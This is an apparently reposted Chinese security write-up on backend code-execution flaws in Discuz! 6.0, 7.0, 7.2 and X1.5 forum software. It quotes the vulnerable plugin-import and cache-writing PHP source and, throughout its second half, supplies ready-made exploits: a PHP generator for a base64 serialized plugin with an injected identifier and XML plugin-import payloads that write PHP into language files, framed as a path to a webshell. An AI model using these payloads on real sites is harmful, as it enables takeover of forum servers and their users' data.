四个版本的漏洞, Discuz! 6.0 、7.0、7.2和X1.5。

传X1.5出0day,最后神马也木见……后t00ls大牛淫们发出了方法和EXP,围观下。

———————————————–
作者:jsbug     原文地址   长文短说,但是却说来文长。

一、 Discuz! 6.0 和 Discuz! 7.0
既然要后台拿Shell,文件写入必看。

/include/cache.func.php
PHP代码
function writetocache($script, $cachenames, $cachedata = ”, $prefix = ‘cache_’) { 
        global $authkey; 
        if(is_array($cachenames) && !$cachedata) { 
                foreach($cachenames as $name) { 
                        $cachedata .= getcachearray($name, $script); 
                } 
        } 
 
        $dir = DISCUZ_ROOT.’./forumdata/cache/’; 
        if(!is_dir($dir)) { 
                @mkdir($dir, 0777); 
        } 
        if($fp = @fopen(“$dir$prefix$script.php”, ‘wb’)) { 
                fwrite($fp, “<?php\n//Discuz! cache file, DO NOT modify me!”. 
                        “\n//Created: “.date(“M j, Y, G:i”). 
                        “\n//Identify: “.md5($prefix.$script.’.php’.$cachedata.$authkey).”\n\n$cachedata?>”); 
                fclose($fp); 
        } else { 
                exit(‘Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .’); 
        } 
}  

————往上翻,找到调用函数的地方.都在updatecache函数中.
PHP代码
  if(!$cachename || $cachename == ‘plugins’) { 
          $query = $db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”); 
          while($plugin = $db->fetch_array($query)) { 
                  $data = array_merge($plugin, array(‘modules’ => array()), array(‘vars’ => array())); 
                  $plugin['modules'] = unserialize($plugin['modules']); 
                  if(is_array($plugin['modules'])) { 
                          foreach($plugin['modules'] as $module) { 
                                  $data['modules'][$module['name']] = $module; 
                          } 
                  } 
                  $queryvars = $db->query(“SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”); 
                  while($var = $db->fetch_array($queryvars)) { 
                          $data['vars'][$var['variable']] = $var['value']; 
                  } 
//注意 
                  writetocache($plugin['identifier'], ”, “\$_DPLUGIN['$plugin[identifier]‘] = “.arrayeval($data), ‘plugin_’); 
          } 
  } 

  

—————— 如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.去后台看看,你可以发现identifier对 应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4 个敌人的心情.
/admin/plugins.inc.php
PHP代码
if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) { 
        if(!$newname) { 
                cpmsg(‘plugins_edit_name_invalid’); 
        } 
        $query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1″); 
欲裂,ispluginkey判定newidentifier是否有特殊字符 
        if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) { 
                cpmsg(‘plugins_edit_identifier_invalid’); 
        } 
        $db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘, ‘$newidentifier’, ’0′)”); 

 
updatecache(‘plugins’); 
updatecache(‘settings’); 
cpmsg(‘plugins_edit_succeed’, ‘admincp.php?action=pluginsconfig’);  

—————还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.
PHP代码
elseif(submitcheck(‘importsubmit’)) { 
 
                $plugindata = preg_replace(“/(#.*\s+)*/”, ”, $plugindata); 
                $pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1); 
    //解码后没有判定 
                if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) { 
                        cpmsg(‘plugins_import_data_invalid’); 
                } elseif(emptyempty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) { 
                        cpmsg(‘plugins_import_version_invalid’); 
                } 
 
                $query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1″); 
    //判断是否重复,直接入库 
                if($db->num_rows($query)) { 
                        cpmsg(‘plugins_import_identifier_duplicated’); 
                } 
 
                $sql1 = $sql2 = $comma = ”; 
                foreach($pluginarray['plugin'] as $key => $val) { 
                        if($key == ‘directory’) { 
                                //compatible for old versions 
                                $val .= (!emptyempty($val) && substr($val, -1) != ‘/’) ? ‘/’ : ”; 
                        } 
                        $sql1 .= $comma.$key; 
                        $sql2 .= $comma.’\”.$val.’\”; 
                        $comma = ‘,’; 
                } 
                $db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”); 
                $pluginid = $db->insert_id(); 
 
                foreach(array(‘hooks’, ‘vars’) as $pluginconfig) { 
                        if(is_array($pluginarray[$pluginconfig])) { 
                                foreach($pluginarray[$pluginconfig] as $config) { 
                                        $sql1 = ‘pluginid’; 
                                        $sql2 = ‘\”.$pluginid.’\”; 
                                        foreach($config as $key => $val) { 
                                                $sql1 .= ‘,’.$key; 
                                                $sql2 .= ‘,\”.$val.’\”; 
                                        } 
                                        $db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”); 
                                } 
                        } 
                } 
 
                updatecache(‘plugins’); 
                updatecache(‘settings’); 
                cpmsg(‘plugins_import_succeed’, ‘admincp.php?action=pluginsconfig’); 
 
        } 

  

————-随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用./forumdata/cache/plugin_shell.php
PHP代码
<?php 
//Discuz! cache file, DO NOT modify me! 
//Created: Mar 17, 2011, 16:56 
//Identify: 7c0b5adeadf5a806292d45c64bd0659c 
 
$_DPLUGIN['shell'] = array ( 
  ‘pluginid’ => ’11′, 
  ‘available’ => ’0′, 
  ‘adminid’ => ’0′, 
  ‘name’ => ‘Getshell’, 
  ‘identifier’ => ‘shell’, 
  ‘datatables’ => ”, 
  ‘directory’ => ”, 
  ‘copyright’ => ”, 
  ‘modules’ =>  
  array ( 
  ), 
  ‘vars’ =>  
  array ( 
  ), 
)?>  

———–我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的:forumdata/cache/plugin_a’]=phpinfo();$a['a.php
PHP代码
<?php 
//Discuz! cache file, DO NOT modify me! 
//Created: Mar 17, 2011, 16:56 
//Identify: 7c0b5adeadf5a806292d45c64bd0659c 
 
$_DPLUGIN['a']=phpinfo();$a['a'] = array ( 
  ‘pluginid’ => ’11′, 
  ‘available’ => ’0′, 
  ‘adminid’ => ’0′, 
  ‘name’ => ‘Getshell’, 
  ‘identifier’ => ‘shell’, 
  ‘datatables’ => ”, 
  ‘directory’ => ”, 
  ‘copyright’ => ”, 
  ‘modules’ =>  
  array ( 
  ), 
  ‘vars’ =>  
  array ( 
  ), 
)?> 

 

————–最后是编码一次,给成Exp:
PHP代码
<?php 
$a = unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj
cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
fQ==”)); 
//print_r($a); 
$a['plugin']['name']=’GetShell’; 
$a['plugin']['identifier']=’a\’]=phpinfo();$a[\''; 
 
print(base64_encode(serialize($a))); 
?>  

7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"

-------------------------------------------------------------------------------------
二 、Discuz! 7.2 和 Discuz! X1.5
以下以7.2为例,/admin/plugins.inc.php
PHP代码
 elseif($operation == 'import') { 
 
        if(!submitcheck('importsubmit') && !isset($dir)) { 
 
  /*未提交前表单神马的*/ 
 
        } else { 
 
                if(!isset($dir)) { 
  //导入数据解码 
                        $pluginarray = getimportdata('Discuz! Plugin'); 
                } elseif(!isset($installtype)) { 
  /*省略一部分*/ 
                } 
  //判定你妹啊,两遍啊两遍 
                if(!ispluginkey($pluginarray['plugin']['identifier'])) { 
                        cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’); 
                } 
                if(!ispluginkey($pluginarray['plugin']['identifier'])) { 
                        cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’); 
                } 
                if(is_array($pluginarray['hooks'])) { 
                        foreach($pluginarray['hooks'] as $config) { 
                                if(!ispluginkey($config['title'])) { 
                                        cpmsg(‘plugins_import_hooks_title_invalid’, ”, ‘error’); 
                                } 
                        } 
                } 
                if(is_array($pluginarray['vars'])) { 
                        foreach($pluginarray['vars'] as $config) { 
                                if(!ispluginkey($config['variable'])) { 
                                        cpmsg(‘plugins_import_var_invalid’, ”, ‘error’); 
                                } 
                        } 
                } 
 
                $langexists = FALSE; 
    //你有张良计,我有过墙梯 
                if(!emptyempty($pluginarray['language'])) { 
                        @mkdir(‘./forumdata/plugins/’, 0777); 
                        $file = DISCUZ_ROOT.’./forumdata/plugins/’.$pluginarray['plugin']['identifier'].’.lang.php’; 
                        if($fp = @fopen($file, ‘wb’)) { 
                                $scriptlangstr = !emptyempty($pluginarray['language']['scriptlang']) ? “\$scriptlang['".$pluginarray['plugin']['identifier'].”‘] = “.langeval($pluginarray['language']['scriptlang']) : ”; 
                                $templatelangstr = !emptyempty($pluginarray['language']['templatelang']) ? “\$templatelang['".$pluginarray['plugin']['identifier'].”‘] = “.langeval($pluginarray['language']['templatelang']) : ”; 
                                $installlangstr = !emptyempty($pluginarray['language']['installlang']) ? “\$installlang['".$pluginarray['plugin']['identifier'].”‘] = “.langeval($pluginarray['language']['installlang']) : ”; 
                                fwrite($fp, “<?php\n”.$scriptlangstr.$templatelangstr.$installlangstr.’?>’); 
                                fclose($fp); 
                        } 
                        $langexists = TRUE; 
                } 
 
/*处理神马的*/ 
                updatecache(‘plugins’); 
                updatecache(‘settings’); 
                updatemenu(); 
 
/*省略部分代码*/ 
 

———————–先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.
PHP代码
function getimportdata($name = ”, $addslashes = 1, $ignoreerror = 0) { 
        if($GLOBALS['importtype'] == ‘file’) { 
                $data = @implode(”, file($_FILES['importfile']['tmp_name'])); 
                @unlink($_FILES['importfile']['tmp_name']); 
        } else { 
                $data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt']; 
        } 
        include_once DISCUZ_ROOT.’./include/xml.class.php’; 
        $xmldata = xml2array($data); 
        if(!is_array($xmldata) || !$xmldata) { 
//向下兼容 
                if($name && !strexists($data, ‘# ‘.$name)) { 
                        if(!$ignoreerror) { 
                                cpmsg(‘import_data_typeinvalid’, ”, ‘error’); 
                        } else { 
                                return array(); 
                        } 
                } 
                $data = preg_replace(“/(#.*\s+)*/”, ”, $data); 
                $data = unserialize(base64_decode($data)); 
                if(!is_array($data) || !$data) { 
                        if(!$ignoreerror) { 
                                cpmsg(‘import_data_invalid’, ”, ‘error’); 
                        } else { 
                                return array(); 
                        } 
                } 
        } else { 
//XML解析 
                if($name && $name != $xmldata['Title']) { 
                        if(!$ignoreerror) { 
                                cpmsg(‘import_data_typeinvalid’, ”, ‘error’); 
                        } else { 
                                return array(); 
                        } 
                } 
                $data = exportarray($xmldata['Data'], 0); 
        } 
        if($addslashes) { 
//daddslashes在两个版本的处理导致了Exp不能通用. 
                $data = daddslashes($data, 1); 
        } 
        return $data; 

——————判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包。我们只要控制scriptlangstr或者其它任何一个就可以了。
PHP代码
function langeval($array) { 
        $return = ”; 
        foreach($array as $k => $v) { 
    //Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号 
                $k = str_replace(“‘”, ”, $k);
    //下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?
                $return .= “\t’$k’ => ‘”.str_replace(array(“\\’“, “‘”), array(“\\\’“, “\’”), stripslashes($v)).”‘,\n”; 
        } 
        return “array(\n$return);\n\n”; 

—————————–Key这里不通用.

—————7.2版本如下
PHP代码
function daddslashes($string, $force = 0) { 
        !defined(‘MAGIC_QUOTES_GPC’) && define(‘MAGIC_QUOTES_GPC’, get_magic_quotes_gpc()); 
        if(!MAGIC_QUOTES_GPC || $force) { 
                if(is_array($string)) { 
                        foreach($string as $key => $val) { 
                                $string[$key] = daddslashes($val, $force); 
                        } 
                } else { 
                        $string = addslashes($string); 
                } 
        } 
        return $string; 

———————1.5版本如下
PHP代码
function daddslashes($string, $force = 1) { 
        if(is_array($string)) { 
                foreach($string as $key => $val) { 
                        unset($string[$key]); 
      //过滤了key 
                        $string[addslashes($key)] = daddslashes($val, $force); 
                } 
        } else { 
                $string = addslashes($string); 
        } 
        return $string; 

———————-还是看下shell.lang.php的文件格式.
PHP代码
<?php 
$scriptlang['shell'] = array( 
        ‘a’ => ’1′, 
        ‘b’ => ’2′, 
); 
 
?> 
———————— 7.2版本没有过滤Key,所以直接用\废掉单引号.X1.5,单引号转义后变为\’,再被替换一次’,还是留下了\而$v在两个版本中过滤相同,比较通 用.X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes& action=plugins添加插件
————————–通用Exp:
PHP代码
<?xml version=”1.0″ encoding=”ISO-8859-1″?> 
<root> 
        <item id=”Title”><![CDATA[Discuz! Plugin]]></item> 
        <item id=”Version”><![CDATA[7.2]]></item> 
        <item id=”Time”><![CDATA[2011-03-16 15:57]]></item> 
        <item id=”From”><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item
        <item id=”Data”> 
                <item id=”plugin”> 
                        <item id=”available”><![CDATA[0]]></item> 
                        <item id=”adminid”><![CDATA[0]]></item> 
                        <item id=”name”><![CDATA[www]]></item> 
                        <item id=”identifier”><![CDATA[shell]]></item> 
                        <item id=”description”><![CDATA[]]></item> 
                        <item id=”datatables”><![CDATA[]]></item> 
                        <item id=”directory”><![CDATA[]]></item> 
                        <item id=”copyright”><![CDATA[]]></item> 
                        <item id=”modules”><![CDATA[a:0:{}]]></item> 
                        <item id=”version”><![CDATA[]]></item> 
                </item> 
                <item id=”version”><![CDATA[7.2]]></item> 
                <item id=”language”> 
                        <item id=”scriptlang”> 
                                <item id=”a\”><![CDATA[=>1);phpinfo();?>]]></item> 
                        </item> 
                </item> 
        </item> 
</root> 
————————————-x1.5
PHP代码
<?xml version=”1.0″ encoding=”ISO-8859-1″?> 
<root> 
        <item id=”Title”><![CDATA[Discuz! Plugin]]></item> 
        <item id=”Version”><![CDATA[7.2]]></item> 
        <item id=”Time”><![CDATA[2011-03-16 15:57]]></item> 
        <item id=”From”><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item> 
        <item id=”Data”> 
                <item id=”plugin”> 
                        <item id=”available”><![CDATA[0]]></item> 
                        <item id=”adminid”><![CDATA[0]]></item> 
                        <item id=”name”><![CDATA[www]]></item> 
                        <item id=”identifier”><![CDATA[shell]]></item> 
                        <item id=”description”><![CDATA[]]></item> 
                        <item id=”datatables”><![CDATA[]]></item> 
                        <item id=”directory”><![CDATA[]]></item> 
                        <item id=”copyright”><![CDATA[]]></item> 
                        <item id=”modules”><![CDATA[a:0:{}]]></item> 
                        <item id=”version”><![CDATA[]]></item> 
                </item> 
                <item id=”version”><![CDATA[7.2]]></item> 
                <item id=”language”> 
                        <item id=”scriptlang”> 
                                <item id=”a’”><![CDATA[=>1);phpinfo();?>]]></item> 
                        </item> 
                </item> 
        </item> 
</root> 

—–

如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.